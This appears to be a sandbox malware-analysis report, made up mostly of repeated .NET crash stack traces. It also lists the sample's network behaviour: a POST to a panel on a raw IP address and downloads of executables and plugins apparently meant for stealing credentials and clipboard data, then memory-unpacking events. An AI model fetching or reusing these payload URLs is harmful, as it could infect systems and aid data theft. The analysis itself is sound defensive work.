__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x897d90 0x897cc5 0x89367a 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 06 8b 15 2c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x897e29 registers.esp: 2093172 registers.edi: 45292688 registers.eax: 0 registers.ebp: 2093196 registers.edx: 4425760 registers.ebx: 45292708 registers.esi: 45293508 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89ae79 0x89adf3 0x89a273 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 39 fe ff ff eb 0c e8 44 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89b0ee registers.esp: 2092660 registers.edi: 45840424 registers.eax: 47747040 registers.ebp: 2092720 registers.edx: 0 registers.ebx: 45844624 registers.esi: 47747040 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89ae79 0x89ae10 0x89a273 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 39 fe ff ff eb 0c e8 44 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89b0ee registers.esp: 2092660 registers.edi: 45840424 registers.eax: 45502308 registers.ebp: 2092720 registers.edx: 0 registers.ebx: 45290060 registers.esi: 45502308 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89ae79 0x89ae10 0x89a273 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 39 fe ff ff eb 0c e8 44 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89b0ee registers.esp: 2092660 registers.edi: 45019364 registers.eax: 46932256 registers.ebp: 2092720 registers.edx: 0 registers.ebx: 45712216 registers.esi: 46932256 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89d5e9 0x89a473 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 7f fe ff ff eb 0c e8 ff exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89d833 registers.esp: 2092676 registers.edi: 45019364 registers.eax: 48367068 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 47147012 registers.esi: 48367068 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89d5e9 0x89a473 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 7f fe ff ff eb 0c e8 ff exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89d833 registers.esp: 2092676 registers.edi: 45019364 registers.eax: 49716768 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 48496712 registers.esi: 49716768 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89d5e9 0x89a473 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 7f fe ff ff eb 0c e8 ff exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89d833 registers.esp: 2092676 registers.edi: 45019364 registers.eax: 51066468 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 49846412 registers.esi: 51066468 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89d8b9 0x89a546 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f e7 fe ff ff eb 0c e8 a1 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89da91 registers.esp: 2092676 registers.edi: 45019364 registers.eax: 0 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 45272296 registers.esi: 45984228 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89d8b9 0x89a546 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f e7 fe ff ff eb 0c e8 a1 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89da91 registers.esp: 2092676 registers.edi: 45001396 registers.eax: 0 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 46253116 registers.esi: 47473164 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89d8b9 0x89a546 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f e7 fe ff ff eb 0c e8 a1 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89da91 registers.esp: 2092676 registers.edi: 45001396 registers.eax: 0 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 47742052 registers.esi: 48962100 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89dbe9 0x89a5e3 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 05 ff ff ff eb 0c e8 78 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89ddba registers.esp: 2092676 registers.edi: 46142096 registers.eax: 0 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 45272900 registers.esi: 45876828 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89dbe9 0x89a5e3 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 05 ff ff ff eb 0c e8 78 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89ddba registers.esp: 2092676 registers.edi: 46142096 registers.eax: 0 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 46148048 registers.esi: 47368096 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89dbe9 0x89a5e3 0x899bfc 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 05 ff ff ff eb 0c e8 78 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89ddba registers.esp: 2092676 registers.edi: 46142096 registers.eax: 0 registers.ebp: 2092728 registers.edx: 0 registers.ebx: 47639316 registers.esi: 48859364 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x89e16c 0x899c14 0x897eb0 0x89369f 0x893326 0x891b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 e0 0f 8f a1 fe ff ff eb 05 e8 80 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x89e5b2 registers.esp: 2093060 registers.edi: 49403960 registers.eax: 0 registers.ebp: 2093104 registers.edx: 0 registers.ebx: 49397752 registers.esi: 49404644 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (5 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://193.3.19.154/store/games/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.3.19.154/DSC01402/foto0174.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.3.19.154/DSC01402/foto34.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.3.19.154/store/games/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.3.19.154/store/games/Plugins/clip64.dll

Performs some HTTP requests (5 events)

request	POST http://193.3.19.154/store/games/index.php
request	GET http://193.3.19.154/DSC01402/foto0174.exe
request	GET http://193.3.19.154/DSC01402/foto34.exe
request	GET http://193.3.19.154/store/games/Plugins/cred64.dll
request	GET http://193.3.19.154/store/games/Plugins/clip64.dll

Sends data using the HTTP POST Method (1 event)

request

POST http://193.3.19.154/store/games/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 273 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73261000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73261000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
